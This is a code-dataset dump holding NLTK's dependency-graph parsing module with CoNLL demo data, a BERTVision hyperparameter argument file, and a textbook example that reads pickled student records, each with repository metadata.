returns a 7-tuple, where the values are ``word, lemma, ctag, tag, feats, head, rel``. :param str cell_separator: the cell separator. If not provided, cells are split by whitespace. :param str top_relation_label: the label by which the top relation is identified, for examlple, `ROOT`, `null` or `TOP`. """ def extract_3_cells(cells, index): word, tag, head = cells return index, word, word, tag, tag, "", head, "" def extract_4_cells(cells, index): word, tag, head, rel = cells return index, word, word, tag, tag, "", head, rel def extract_7_cells(cells, index): line_index, word, lemma, tag, _, head, rel = cells try: index = int(line_index) except ValueError: # index can't be parsed as an integer, use default pass return index, word, lemma, tag, tag, "", head, rel def extract_10_cells(cells, index): line_index, word, lemma, ctag, tag, feats, head, rel, _, _ = cells try: index = int(line_index) except ValueError: # index can't be parsed as an integer, use default pass return index, word, lemma, ctag, tag, feats, head, rel extractors = { 3: extract_3_cells, 4: extract_4_cells, 7: extract_7_cells, 10: extract_10_cells, } if isinstance(input_, str): input_ = (line for line in input_.split("\n")) lines = (l.rstrip() for l in input_) lines = (l for l in lines if l) cell_number = None for index, line in enumerate(lines, start=1): cells = line.split(cell_separator) if cell_number is None: cell_number = len(cells) else: assert cell_number == len(cells) if cell_extractor is None: try: cell_extractor = extractors[cell_number] except KeyError as e: raise ValueError( "Number of tab-delimited fields ({0}) not supported by " "CoNLL(10) or Malt-Tab(4) format".format(cell_number) ) from e try: index, word, lemma, ctag, tag, feats, head, rel = cell_extractor( cells, index ) except (TypeError, ValueError): # cell_extractor doesn't take 2 arguments or doesn't return 8 # values; assume the cell_extractor is an older external # extractor and doesn't accept or return an index. word, lemma, ctag, tag, feats, head, rel = cell_extractor(cells) if head == "_": continue head = int(head) if zero_based: head += 1 self.nodes[index].update( { "address": index, "word": word, "lemma": lemma, "ctag": ctag, "tag": tag, "feats": feats, "head": head, "rel": rel, } ) # Make sure that the fake root node has labeled dependencies. if (cell_number == 3) and (head == 0): rel = top_relation_label self.nodes[head]["deps"][rel].append(index) if self.nodes[0]["deps"][top_relation_label]: root_address = self.nodes[0]["deps"][top_relation_label][0] self.root = self.nodes[root_address] self.top_relation_label = top_relation_label else: warnings.warn( "The graph doesn't contain a node " "that depends on the root element." ) def _word(self, node, filter=True): w = node["word"] if filter: if w != ",": return w return w def _tree(self, i): """ Turn dependency graphs into NLTK trees. :param int i: index of a node :return: either a word (if the indexed node is a leaf) or a ``Tree``. """ node = self.get_by_address(i) word = node["word"] deps = sorted(chain.from_iterable(node["deps"].values())) if deps: return Tree(word, [self._tree(dep) for dep in deps]) else: return word def tree(self): """ Starting with the ``root`` node, build a dependency tree using the NLTK ``Tree`` constructor. Dependency labels are omitted. """ node = self.root word = node["word"] deps = sorted(chain.from_iterable(node["deps"].values())) return Tree(word, [self._tree(dep) for dep in deps]) def triples(self, node=None): """ Extract dependency triples of the form: ((head word, head tag), rel, (dep word, dep tag)) """ if not node: node = self.root head = (node["word"], node["ctag"]) for i in sorted(chain.from_iterable(node["deps"].values())): dep = self.get_by_address(i) yield (head, dep["rel"], (dep["word"], dep["ctag"])) for triple in self.triples(node=dep): yield triple def _hd(self, i): try: return self.nodes[i]["head"] except IndexError: return None def _rel(self, i): try: return self.nodes[i]["rel"] except IndexError: return None # what's the return type? Boolean or list? def contains_cycle(self): """Check whether there are cycles. >>> dg = DependencyGraph(treebank_data) >>> dg.contains_cycle() False >>> cyclic_dg = DependencyGraph() >>> top = {'word': None, 'deps': [1], 'rel': 'TOP', 'address': 0} >>> child1 = {'word': None, 'deps': [2], 'rel': 'NTOP', 'address': 1} >>> child2 = {'word': None, 'deps': [4], 'rel': 'NTOP', 'address': 2} >>> child3 = {'word': None, 'deps': [1], 'rel': 'NTOP', 'address': 3} >>> child4 = {'word': None, 'deps': [3], 'rel': 'NTOP', 'address': 4} >>> cyclic_dg.nodes = { ... 0: top, ... 1: child1, ... 2: child2, ... 3: child3, ... 4: child4, ... } >>> cyclic_dg.root = top >>> cyclic_dg.contains_cycle() [3, 1, 2, 4] """ distances = {} for node in self.nodes.values(): for dep in node["deps"]: key = tuple([node["address"], dep]) distances[key] = 1 for _ in self.nodes: new_entries = {} for pair1 in distances: for pair2 in distances: if pair1[1] == pair2[0]: key = tuple([pair1[0], pair2[1]]) new_entries[key] = distances[pair1] + distances[pair2] for pair in new_entries: distances[pair] = new_entries[pair] if pair[0] == pair[1]: path = self.get_cycle_path(self.get_by_address(pair[0]), pair[0]) return path return False # return []? def get_cycle_path(self, curr_node, goal_node_index): for dep in curr_node["deps"]: if dep == goal_node_index: return [curr_node["address"]] for dep in curr_node["deps"]: path = self.get_cycle_path(self.get_by_address(dep), goal_node_index) if len(path) > 0: path.insert(0, curr_node["address"]) return path return [] def to_conll(self, style): """ The dependency graph in CoNLL format. :param style: the style to use for the format (3, 4, 10 columns) :type style: int :rtype: str """ if style == 3: template = "{word}\t{tag}\t{head}\n" elif style == 4: template = "{word}\t{tag}\t{head}\t{rel}\n" elif style == 10: template = ( "{i}\t{word}\t{lemma}\t{ctag}\t{tag}\t{feats}\t{head}\t{rel}\t_\t_\n" ) else: raise ValueError( "Number of tab-delimited fields ({0}) not supported by " "CoNLL(10) or Malt-Tab(4) format".format(style) ) return "".join( template.format(i=i, **node) for i, node in sorted(self.nodes.items()) if node["tag"] != "TOP" ) def nx_graph(self): """Convert the data in a ``nodelist`` into a networkx labeled directed graph.""" import networkx nx_nodelist = list(range(1, len(self.nodes))) nx_edgelist = [ (n, self._hd(n), self._rel(n)) for n in nx_nodelist if self._hd(n) ] self.nx_labels = {} for n in nx_nodelist: self.nx_labels[n] = self.nodes[n]["word"] g = networkx.MultiDiGraph() g.add_nodes_from(nx_nodelist) g.add_edges_from(nx_edgelist) return g class DependencyGraphError(Exception): """Dependency graph exception.""" def demo(): malt_demo() conll_demo() conll_file_demo() cycle_finding_demo() def malt_demo(nx=False): """ A demonstration of the result of reading a dependency version of the first sentence of the Penn Treebank. """ dg = DependencyGraph( """Pierre NNP 2 NMOD Vinken NNP 8 SUB , , 2 P 61 CD 5 NMOD years NNS 6 AMOD old JJ 2 NMOD , , 2 P will MD 0 ROOT join VB 8 VC the DT 11 NMOD board NN 9 OBJ as IN 9 VMOD a DT 15 NMOD nonexecutive JJ 15 NMOD director NN 12 PMOD Nov. NNP 9 VMOD 29 CD 16 NMOD . . 9 VMOD """ ) tree = dg.tree() tree.pprint() if nx: # currently doesn't work import networkx from matplotlib import pylab g = dg.nx_graph() g.info() pos = networkx.spring_layout(g, dim=1) networkx.draw_networkx_nodes(g, pos, node_size=50) # networkx.draw_networkx_edges(g, pos, edge_color='k', width=8) networkx.draw_networkx_labels(g, pos, dg.nx_labels) pylab.xticks([]) pylab.yticks([]) pylab.savefig("tree.png") pylab.show() def conll_demo(): """ A demonstration of how to read a string representation of a CoNLL format dependency tree. """ dg = DependencyGraph(conll_data1) tree = dg.tree() tree.pprint() print(dg) print(dg.to_conll(4)) def conll_file_demo(): print("Mass conll_read demo...") graphs = [DependencyGraph(entry) for entry in conll_data2.split("\n\n") if entry] for graph in graphs: tree = graph.tree() print("\n") tree.pprint() def cycle_finding_demo(): dg = DependencyGraph(treebank_data) print(dg.contains_cycle()) cyclic_dg = DependencyGraph() cyclic_dg.add_node({"word": None, "deps": [1], "rel": "TOP", "address": 0}) cyclic_dg.add_node({"word": None, "deps": [2], "rel": "NTOP", "address": 1}) cyclic_dg.add_node({"word": None, "deps": [4], "rel": "NTOP", "address": 2}) cyclic_dg.add_node({"word": None, "deps": [1], "rel": "NTOP", "address": 3}) cyclic_dg.add_node({"word": None, "deps": [3], "rel": "NTOP", "address": 4}) print(cyclic_dg.contains_cycle()) treebank_data = """Pierre NNP 2 NMOD Vinken NNP 8 SUB , , 2 P 61 CD 5 NMOD years NNS 6 AMOD old JJ 2 NMOD , , 2 P will MD 0 ROOT join VB 8 VC the DT 11 NMOD board NN 9 OBJ as IN 9 VMOD a DT 15 NMOD nonexecutive JJ 15 NMOD director NN 12 PMOD Nov. NNP 9 VMOD 29 CD 16 NMOD . . 9 VMOD """ conll_data1 = """ 1 Ze ze Pron Pron per|3|evofmv|nom 2 su _ _ 2 had heb V V trans|ovt|1of2of3|ev 0 ROOT _ _ 3 met met Prep Prep voor 8 mod _ _ 4 haar haar Pron Pron bez|3|ev|neut|attr 5 det _ _ 5 moeder moeder N N soort|ev|neut 3 obj1 _ _ 6 kunnen kan V V hulp|ott|1of2of3|mv 2 vc _ _ 7 gaan ga V V hulp|inf 6 vc _ _ 8 winkelen winkel V V intrans|inf 11 cnj _ _ 9 , , Punc Punc komma 8 punct _ _ 10 zwemmen zwem V V intrans|inf 11 cnj _ _ 11 of of Conj Conj neven 7 vc _ _ 12 terrassen terras N N soort|mv|neut 11 cnj _ _ 13 . . Punc Punc punt 12 punct _ _ """ conll_data2 = """1 Cathy Cathy N N eigen|ev|neut 2 su _ _ 2 zag zie V V trans|ovt|1of2of3|ev 0 ROOT _ _ 3 hen hen Pron Pron per|3|mv|datofacc 2 obj1 _ _ 4 wild wild Adj Adj attr|stell|onverv 5 mod _ _ 5 zwaaien zwaai N N soort|mv|neut 2 vc _ _ 6 . . Punc Punc punt 5 punct _ _ 1 Ze ze Pron Pron per|3|evofmv|nom 2 su _ _ 2 had heb V V trans|ovt|1of2of3|ev 0 ROOT _ _ 3 met met Prep Prep voor 8 mod _ _ 4 haar haar Pron Pron bez|3|ev|neut|attr 5 det _ _ 5 moeder moeder N N soort|ev|neut 3 obj1 _ _ 6 kunnen kan V V hulp|ott|1of2of3|mv 2 vc _ _ 7 gaan ga V V hulp|inf 6 vc _ _ 8 winkelen winkel V V intrans|inf 11 cnj _ _ 9 , , Punc Punc komma 8 punct _ _ 10 zwemmen zwem V V intrans|inf 11 cnj _ _ 11 of of Conj Conj neven 7 vc _ _ 12 terrassen terras N N soort|mv|neut 11 cnj _ _ 13 . . Punc Punc punt 12 punct _ _ 1 Dat dat Pron Pron aanw|neut|attr 2 det _ _ 2 werkwoord werkwoord N N soort|ev|neut 6 obj1 _ _ 3 had heb V V hulp|ovt|1of2of3|ev 0 ROOT _ _ 4 ze ze Pron Pron per|3|evofmv|nom 6 su _ _ 5 zelf zelf Pron Pron aanw|neut|attr|wzelf 3 predm _ _ 6 uitgevonden vind V V trans|verldw|onverv 3 vc _ _ 7 . . Punc Punc punt 6 punct _ _ 1 Het het Pron Pron onbep|neut|zelfst 2 su _ _ 2 hoorde hoor V V trans|ovt|1of2of3|ev 0 ROOT _ _ 3 bij bij Prep Prep voor 2 ld _ _ 4 de de Art Art bep|zijdofmv|neut 6 det _ _ 5 warme warm Adj Adj attr|stell|vervneut 6 mod _ _ 6 zomerdag zomerdag N N soort|ev|neut 3 obj1 _ _ 7 die die Pron Pron betr|neut|zelfst 6 mod _ _ 8 ze ze Pron Pron per|3|evofmv|nom 12 su _ _ 9 ginds ginds Adv Adv gew|aanw 12 mod _ _ 10 achter achter Adv Adv gew|geenfunc|stell|onverv 12 svp _ _ 11 had heb V V hulp|ovt|1of2of3|ev 7 body _ _ 12 gelaten laat V V trans|verldw|onverv 11 vc _ _ 13 . . Punc Punc punt 12 punct _ _ 1 Ze ze Pron Pron per|3|evofmv|nom 2 su _ _ 2 hadden heb V V trans|ovt|1of2of3|mv 0 ROOT _ _ 3 languit languit Adv Adv gew|geenfunc|stell|onverv 11 mod _ _ 4 naast naast Prep Prep voor 11 mod _ _ 5 elkaar elkaar Pron Pron rec|neut 4 obj1 _ _ 6 op op Prep Prep voor 11 ld _ _ 7 de de Art Art bep|zijdofmv|neut 8 det _ _ 8 strandstoelen strandstoel N N soort|mv|neut 6 obj1 _ _ 9 kunnen kan V V hulp|inf 2 vc _ _ 10 gaan ga V V hulp|inf 9 vc _ _ 11 liggen lig V V intrans|inf 10 vc _ _ 12 . . Punc Punc punt 11 punct _ _ 1 Zij zij Pron Pron per|3|evofmv|nom 2 su _ _ 2 zou zal V V hulp|ovt|1of2of3|ev 7 cnj _ _ 3 mams mams N N soort|ev|neut 4 det _ _ 4 rug rug N N soort|ev|neut 5 obj1 _ _ 5 ingewreven wrijf V V trans|verldw|onverv 6 vc _ _ 6 hebben heb V V hulp|inf 2 vc _ _ 7 en en Conj Conj neven 0 ROOT _ _ 8 mam mam V V trans|ovt|1of2of3|ev 7 cnj _ _ 9 de de Art Art bep|zijdofmv|neut 10 det _ _ 10 hare hare Pron Pron bez|3|ev|neut|attr 8 obj1 _ _ 11 . . Punc Punc punt 10 punct _ _ 1 Of of Conj Conj onder|metfin 0 ROOT _ _ 2 ze ze Pron Pron per|3|evofmv|nom 3 su _ _ 3 had heb V V hulp|ovt|1of2of3|ev 0 ROOT _ _ 4 gewoon gewoon Adj Adj adv|stell|onverv 10 mod _ _ 5 met met Prep Prep voor 10 mod _ _ 6 haar haar Pron Pron bez|3|ev|neut|attr 7 det _ _ 7 vriendinnen vriendin N N soort|mv|neut 5 obj1 _ _ 8 rond rond Adv Adv deelv 10 svp _ _ 9 kunnen kan V V hulp|inf 3 vc _ _ 10 slenteren slenter V V intrans|inf 9 vc _ _ 11 in in Prep Prep voor 10 mod _ _ 12 de de Art Art bep|zijdofmv|neut 13 det _ _ 13 buurt buurt N N soort|ev|neut 11 obj1 _ _ 14 van van Prep Prep voor 13 mod _ _ 15 Trafalgar_Square Trafalgar_Square MWU N_N eigen|ev|neut_eigen|ev|neut 14 obj1 _ _ 16 . . Punc Punc punt 15 punct _ _ """ if __name__ == "__main__": demo()

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0.454769

from collections import defaultdict from itertools import chain from pprint import pformat import subprocess import warnings from nltk.tree import Tree for tree_str in infile.read().split("\n\n") ] def left_children(self, node_index): children = chain.from_iterable(self.nodes[node_index]["deps"].values()) index = self.nodes[node_index]["address"] return sum(1 for c in children if c < index) def right_children(self, node_index): children = chain.from_iterable(self.nodes[node_index]["deps"].values()) index = self.nodes[node_index]["address"] return sum(1 for c in children if c > index) def add_node(self, node): if not self.contains_address(node["address"]): self.nodes[node["address"]].update(node) def _parse( self, input_, cell_extractor=None, zero_based=False, cell_separator=None, top_relation_label="ROOT", ): def extract_3_cells(cells, index): word, tag, head = cells return index, word, word, tag, tag, "", head, "" def extract_4_cells(cells, index): word, tag, head, rel = cells return index, word, word, tag, tag, "", head, rel def extract_7_cells(cells, index): line_index, word, lemma, tag, _, head, rel = cells try: index = int(line_index) except ValueError: pass return index, word, lemma, tag, tag, "", head, rel def extract_10_cells(cells, index): line_index, word, lemma, ctag, tag, feats, head, rel, _, _ = cells try: index = int(line_index) except ValueError: # index can't be parsed as an integer, use default pass return index, word, lemma, ctag, tag, feats, head, rel extractors = { 3: extract_3_cells, 4: extract_4_cells, 7: extract_7_cells, 10: extract_10_cells, } if isinstance(input_, str): input_ = (line for line in input_.split("\n")) lines = (l.rstrip() for l in input_) lines = (l for l in lines if l) cell_number = None for index, line in enumerate(lines, start=1): cells = line.split(cell_separator) if cell_number is None: cell_number = len(cells) else: assert cell_number == len(cells) if cell_extractor is None: try: cell_extractor = extractors[cell_number] except KeyError as e: raise ValueError( "Number of tab-delimited fields ({0}) not supported by " "CoNLL(10) or Malt-Tab(4) format".format(cell_number) ) from e try: index, word, lemma, ctag, tag, feats, head, rel = cell_extractor( cells, index ) except (TypeError, ValueError): word, lemma, ctag, tag, feats, head, rel = cell_extractor(cells) if head == "_": continue head = int(head) if zero_based: head += 1 self.nodes[index].update( { "address": index, "word": word, "lemma": lemma, "ctag": ctag, "tag": tag, "feats": feats, "head": head, "rel": rel, } ) # Make sure that the fake root node has labeled dependencies. if (cell_number == 3) and (head == 0): rel = top_relation_label self.nodes[head]["deps"][rel].append(index) if self.nodes[0]["deps"][top_relation_label]: root_address = self.nodes[0]["deps"][top_relation_label][0] self.root = self.nodes[root_address] self.top_relation_label = top_relation_label else: warnings.warn( "The graph doesn't contain a node " "that depends on the root element." ) def _word(self, node, filter=True): w = node["word"] if filter: if w != ",": return w return w def _tree(self, i): node = self.get_by_address(i) word = node["word"] deps = sorted(chain.from_iterable(node["deps"].values())) if deps: return Tree(word, [self._tree(dep) for dep in deps]) else: return word def tree(self): node = self.root word = node["word"] deps = sorted(chain.from_iterable(node["deps"].values())) return Tree(word, [self._tree(dep) for dep in deps]) def triples(self, node=None): if not node: node = self.root head = (node["word"], node["ctag"]) for i in sorted(chain.from_iterable(node["deps"].values())): dep = self.get_by_address(i) yield (head, dep["rel"], (dep["word"], dep["ctag"])) for triple in self.triples(node=dep): yield triple def _hd(self, i): try: return self.nodes[i]["head"] except IndexError: return None def _rel(self, i): try: return self.nodes[i]["rel"] except IndexError: return None def contains_cycle(self): distances = {} for node in self.nodes.values(): for dep in node["deps"]: key = tuple([node["address"], dep]) distances[key] = 1 for _ in self.nodes: new_entries = {} for pair1 in distances: for pair2 in distances: if pair1[1] == pair2[0]: key = tuple([pair1[0], pair2[1]]) new_entries[key] = distances[pair1] + distances[pair2] for pair in new_entries: distances[pair] = new_entries[pair] if pair[0] == pair[1]: path = self.get_cycle_path(self.get_by_address(pair[0]), pair[0]) return path return False # return []? def get_cycle_path(self, curr_node, goal_node_index): for dep in curr_node["deps"]: if dep == goal_node_index: return [curr_node["address"]] for dep in curr_node["deps"]: path = self.get_cycle_path(self.get_by_address(dep), goal_node_index) if len(path) > 0: path.insert(0, curr_node["address"]) return path return [] def to_conll(self, style): if style == 3: template = "{word}\t{tag}\t{head}\n" elif style == 4: template = "{word}\t{tag}\t{head}\t{rel}\n" elif style == 10: template = ( "{i}\t{word}\t{lemma}\t{ctag}\t{tag}\t{feats}\t{head}\t{rel}\t_\t_\n" ) else: raise ValueError( "Number of tab-delimited fields ({0}) not supported by " "CoNLL(10) or Malt-Tab(4) format".format(style) ) return "".join( template.format(i=i, **node) for i, node in sorted(self.nodes.items()) if node["tag"] != "TOP" ) def nx_graph(self): import networkx nx_nodelist = list(range(1, len(self.nodes))) nx_edgelist = [ (n, self._hd(n), self._rel(n)) for n in nx_nodelist if self._hd(n) ] self.nx_labels = {} for n in nx_nodelist: self.nx_labels[n] = self.nodes[n]["word"] g = networkx.MultiDiGraph() g.add_nodes_from(nx_nodelist) g.add_edges_from(nx_edgelist) return g class DependencyGraphError(Exception): def demo(): malt_demo() conll_demo() conll_file_demo() cycle_finding_demo() def malt_demo(nx=False): dg = DependencyGraph( """Pierre NNP 2 NMOD Vinken NNP 8 SUB , , 2 P 61 CD 5 NMOD years NNS 6 AMOD old JJ 2 NMOD , , 2 P will MD 0 ROOT join VB 8 VC the DT 11 NMOD board NN 9 OBJ as IN 9 VMOD a DT 15 NMOD nonexecutive JJ 15 NMOD director NN 12 PMOD Nov. NNP 9 VMOD 29 CD 16 NMOD . . 9 VMOD """ ) tree = dg.tree() tree.pprint() if nx: # currently doesn't work import networkx from matplotlib import pylab g = dg.nx_graph() g.info() pos = networkx.spring_layout(g, dim=1) networkx.draw_networkx_nodes(g, pos, node_size=50) networkx.draw_networkx_labels(g, pos, dg.nx_labels) pylab.xticks([]) pylab.yticks([]) pylab.savefig("tree.png") pylab.show() def conll_demo(): dg = DependencyGraph(conll_data1) tree = dg.tree() tree.pprint() print(dg) print(dg.to_conll(4)) def conll_file_demo(): print("Mass conll_read demo...") graphs = [DependencyGraph(entry) for entry in conll_data2.split("\n\n") if entry] for graph in graphs: tree = graph.tree() print("\n") tree.pprint() def cycle_finding_demo(): dg = DependencyGraph(treebank_data) print(dg.contains_cycle()) cyclic_dg = DependencyGraph() cyclic_dg.add_node({"word": None, "deps": [1], "rel": "TOP", "address": 0}) cyclic_dg.add_node({"word": None, "deps": [2], "rel": "NTOP", "address": 1}) cyclic_dg.add_node({"word": None, "deps": [4], "rel": "NTOP", "address": 2}) cyclic_dg.add_node({"word": None, "deps": [1], "rel": "NTOP", "address": 3}) cyclic_dg.add_node({"word": None, "deps": [3], "rel": "NTOP", "address": 4}) print(cyclic_dg.contains_cycle()) treebank_data = """Pierre NNP 2 NMOD Vinken NNP 8 SUB , , 2 P 61 CD 5 NMOD years NNS 6 AMOD old JJ 2 NMOD , , 2 P will MD 0 ROOT join VB 8 VC the DT 11 NMOD board NN 9 OBJ as IN 9 VMOD a DT 15 NMOD nonexecutive JJ 15 NMOD director NN 12 PMOD Nov. NNP 9 VMOD 29 CD 16 NMOD . . 9 VMOD """ conll_data1 = """ 1 Ze ze Pron Pron per|3|evofmv|nom 2 su _ _ 2 had heb V V trans|ovt|1of2of3|ev 0 ROOT _ _ 3 met met Prep Prep voor 8 mod _ _ 4 haar haar Pron Pron bez|3|ev|neut|attr 5 det _ _ 5 moeder moeder N N soort|ev|neut 3 obj1 _ _ 6 kunnen kan V V hulp|ott|1of2of3|mv 2 vc _ _ 7 gaan ga V V hulp|inf 6 vc _ _ 8 winkelen winkel V V intrans|inf 11 cnj _ _ 9 , , Punc Punc komma 8 punct _ _ 10 zwemmen zwem V V intrans|inf 11 cnj _ _ 11 of of Conj Conj neven 7 vc _ _ 12 terrassen terras N N soort|mv|neut 11 cnj _ _ 13 . . Punc Punc punt 12 punct _ _ """ conll_data2 = """1 Cathy Cathy N N eigen|ev|neut 2 su _ _ 2 zag zie V V trans|ovt|1of2of3|ev 0 ROOT _ _ 3 hen hen Pron Pron per|3|mv|datofacc 2 obj1 _ _ 4 wild wild Adj Adj attr|stell|onverv 5 mod _ _ 5 zwaaien zwaai N N soort|mv|neut 2 vc _ _ 6 . . Punc Punc punt 5 punct _ _ 1 Ze ze Pron Pron per|3|evofmv|nom 2 su _ _ 2 had heb V V trans|ovt|1of2of3|ev 0 ROOT _ _ 3 met met Prep Prep voor 8 mod _ _ 4 haar haar Pron Pron bez|3|ev|neut|attr 5 det _ _ 5 moeder moeder N N soort|ev|neut 3 obj1 _ _ 6 kunnen kan V V hulp|ott|1of2of3|mv 2 vc _ _ 7 gaan ga V V hulp|inf 6 vc _ _ 8 winkelen winkel V V intrans|inf 11 cnj _ _ 9 , , Punc Punc komma 8 punct _ _ 10 zwemmen zwem V V intrans|inf 11 cnj _ _ 11 of of Conj Conj neven 7 vc _ _ 12 terrassen terras N N soort|mv|neut 11 cnj _ _ 13 . . Punc Punc punt 12 punct _ _ 1 Dat dat Pron Pron aanw|neut|attr 2 det _ _ 2 werkwoord werkwoord N N soort|ev|neut 6 obj1 _ _ 3 had heb V V hulp|ovt|1of2of3|ev 0 ROOT _ _ 4 ze ze Pron Pron per|3|evofmv|nom 6 su _ _ 5 zelf zelf Pron Pron aanw|neut|attr|wzelf 3 predm _ _ 6 uitgevonden vind V V trans|verldw|onverv 3 vc _ _ 7 . . Punc Punc punt 6 punct _ _ 1 Het het Pron Pron onbep|neut|zelfst 2 su _ _ 2 hoorde hoor V V trans|ovt|1of2of3|ev 0 ROOT _ _ 3 bij bij Prep Prep voor 2 ld _ _ 4 de de Art Art bep|zijdofmv|neut 6 det _ _ 5 warme warm Adj Adj attr|stell|vervneut 6 mod _ _ 6 zomerdag zomerdag N N soort|ev|neut 3 obj1 _ _ 7 die die Pron Pron betr|neut|zelfst 6 mod _ _ 8 ze ze Pron Pron per|3|evofmv|nom 12 su _ _ 9 ginds ginds Adv Adv gew|aanw 12 mod _ _ 10 achter achter Adv Adv gew|geenfunc|stell|onverv 12 svp _ _ 11 had heb V V hulp|ovt|1of2of3|ev 7 body _ _ 12 gelaten laat V V trans|verldw|onverv 11 vc _ _ 13 . . Punc Punc punt 12 punct _ _ 1 Ze ze Pron Pron per|3|evofmv|nom 2 su _ _ 2 hadden heb V V trans|ovt|1of2of3|mv 0 ROOT _ _ 3 languit languit Adv Adv gew|geenfunc|stell|onverv 11 mod _ _ 4 naast naast Prep Prep voor 11 mod _ _ 5 elkaar elkaar Pron Pron rec|neut 4 obj1 _ _ 6 op op Prep Prep voor 11 ld _ _ 7 de de Art Art bep|zijdofmv|neut 8 det _ _ 8 strandstoelen strandstoel N N soort|mv|neut 6 obj1 _ _ 9 kunnen kan V V hulp|inf 2 vc _ _ 10 gaan ga V V hulp|inf 9 vc _ _ 11 liggen lig V V intrans|inf 10 vc _ _ 12 . . Punc Punc punt 11 punct _ _ 1 Zij zij Pron Pron per|3|evofmv|nom 2 su _ _ 2 zou zal V V hulp|ovt|1of2of3|ev 7 cnj _ _ 3 mams mams N N soort|ev|neut 4 det _ _ 4 rug rug N N soort|ev|neut 5 obj1 _ _ 5 ingewreven wrijf V V trans|verldw|onverv 6 vc _ _ 6 hebben heb V V hulp|inf 2 vc _ _ 7 en en Conj Conj neven 0 ROOT _ _ 8 mam mam V V trans|ovt|1of2of3|ev 7 cnj _ _ 9 de de Art Art bep|zijdofmv|neut 10 det _ _ 10 hare hare Pron Pron bez|3|ev|neut|attr 8 obj1 _ _ 11 . . Punc Punc punt 10 punct _ _ 1 Of of Conj Conj onder|metfin 0 ROOT _ _ 2 ze ze Pron Pron per|3|evofmv|nom 3 su _ _ 3 had heb V V hulp|ovt|1of2of3|ev 0 ROOT _ _ 4 gewoon gewoon Adj Adj adv|stell|onverv 10 mod _ _ 5 met met Prep Prep voor 10 mod _ _ 6 haar haar Pron Pron bez|3|ev|neut|attr 7 det _ _ 7 vriendinnen vriendin N N soort|mv|neut 5 obj1 _ _ 8 rond rond Adv Adv deelv 10 svp _ _ 9 kunnen kan V V hulp|inf 3 vc _ _ 10 slenteren slenter V V intrans|inf 9 vc _ _ 11 in in Prep Prep voor 10 mod _ _ 12 de de Art Art bep|zijdofmv|neut 13 det _ _ 13 buurt buurt N N soort|ev|neut 11 obj1 _ _ 14 van van Prep Prep voor 13 mod _ _ 15 Trafalgar_Square Trafalgar_Square MWU N_N eigen|ev|neut_eigen|ev|neut 14 obj1 _ _ 16 . . Punc Punc punt 15 punct _ _ """ if __name__ == "__main__": demo()

true

f7100dfc5d3a59776b012e0dd0e3c6e254fd289d

2,169

py

Python

code/torch/models/hypersearch/args.py

siduojiang/BERTVision

9d0d4856300973488ead67e2d06e243bf07447ad

[ "MIT" ]

5

2020-08-06T10:12:08.000Z

2022-03-17T10:38:40.000Z

code/torch/models/hypersearch/args.py

siduojiang/BERTVision

9d0d4856300973488ead67e2d06e243bf07447ad

[ "MIT" ]

9

2020-06-23T16:57:52.000Z

2021-01-17T01:52:45.000Z

code/torch/models/hypersearch/args.py

cbenge509/BERTVision

01519bea0882fa72e86a1b62f2d0d52d22c26dfc

[ "MIT" ]

null

import os, sys sys.path.append("C:\\BERTVision\\code\\torch") import torch import models.args def get_args(): # retreive the general models.args and attach them here parser = models.args.get_args() # set search specific args parser.add_argument('--model', type=str, default='MSR', required=True) parser.add_argument('--checkpoint', type=str, default='bert-base-uncased', required=True, help='A HuggingFace checkpoint e.g., bert-base-uncased') parser.add_argument('--num-labels', default=2, type=int) parser.add_argument('--max-seq-length', default=86, type=int, help='Tokenization max length') parser.add_argument('--save-path', type=str, default=os.path.join('model_checkpoints')) parser.add_argument('--log-path', type=str, default=os.path.join('model_logs')) parser.add_argument('--warmup-proportion', default=0.1, type=float, help='Proportion of training to perform linear learning rate warmup for') parser.add_argument('--batch-size', type=int, default=16, help='input batch size for training (default: 16)') parser.add_argument('--lr', type=float, default=1e-5, help='learning rate (default: 1e-5)') parser.add_argument('--num-workers', type=int, default=0, help='Number of CPU cores (default: 0)') parser.add_argument('--shard', type=float, default=0.10, help='Percentage of training set to sample from') args = parser.parse_args() return args #

37.396552

97

0.467958

import os, sys sys.path.append("C:\\BERTVision\\code\\torch") import torch import models.args def get_args(): parser = models.args.get_args() parser.add_argument('--model', type=str, default='MSR', required=True) parser.add_argument('--checkpoint', type=str, default='bert-base-uncased', required=True, help='A HuggingFace checkpoint e.g., bert-base-uncased') parser.add_argument('--num-labels', default=2, type=int) parser.add_argument('--max-seq-length', default=86, type=int, help='Tokenization max length') parser.add_argument('--save-path', type=str, default=os.path.join('model_checkpoints')) parser.add_argument('--log-path', type=str, default=os.path.join('model_logs')) parser.add_argument('--warmup-proportion', default=0.1, type=float, help='Proportion of training to perform linear learning rate warmup for') parser.add_argument('--batch-size', type=int, default=16, help='input batch size for training (default: 16)') parser.add_argument('--lr', type=float, default=1e-5, help='learning rate (default: 1e-5)') parser.add_argument('--num-workers', type=int, default=0, help='Number of CPU cores (default: 0)') parser.add_argument('--shard', type=float, default=0.10, help='Percentage of training set to sample from') args = parser.parse_args() return args

true

f7100f39a080309ca2cb603931b8da369057f812

717

py

Python

BOOK/MAIN/05-file-handling/chapter-5-examples/15-display-records.py

kabirsrivastava3/python-practice

f56a4a0764031d3723b0ba4cd1418a1a83b1e4f5

[ "MIT" ]

null

BOOK/MAIN/05-file-handling/chapter-5-examples/15-display-records.py

kabirsrivastava3/python-practice

f56a4a0764031d3723b0ba4cd1418a1a83b1e4f5

[ "MIT" ]

null

BOOK/MAIN/05-file-handling/chapter-5-examples/15-display-records.py

kabirsrivastava3/python-practice

f56a4a0764031d3723b0ba4cd1418a1a83b1e4f5

[ "MIT" ]

null

#display records of students of roll no. 22 and 23. import pickle stu = {} #declare empty dictionary object; it will hold record found = False finObj = open('Stu.dat',"rb") #open binary file in read mode searchKeys = [22,23] #read from the file try: print("File Stu.dat store these records") while True: #it will become False upon EOF Exception. stu = pickle.load(finObj) #read record in stu dictionary fron finObj file handle if stu['Rollno'] in searchKeys: print(stu) #print the record found = True except EOFError: if found == False: print("No such records found in the file") else: print("Search successful.") finObj.close() #close file

29.875

88

0.665272

import pickle stu = {} found = False finObj = open('Stu.dat',"rb") searchKeys = [22,23] try: print("File Stu.dat store these records") while True: stu = pickle.load(finObj) if stu['Rollno'] in searchKeys: print(stu) found = True except EOFError: if found == False: print("No such records found in the file") else: print("Search successful.") finObj.close()

true

f7100ff56bd69c1d3a211ca0a9af3fcd0dae54de

1,835

py

Python

client/hipchat/HipChatMonitor.py

xEoDx/eodbot

933d9c1c9c836a5a6091a26bfd4d7eb98f932595

[ "Apache-2.0" ]

null

client/hipchat/HipChatMonitor.py

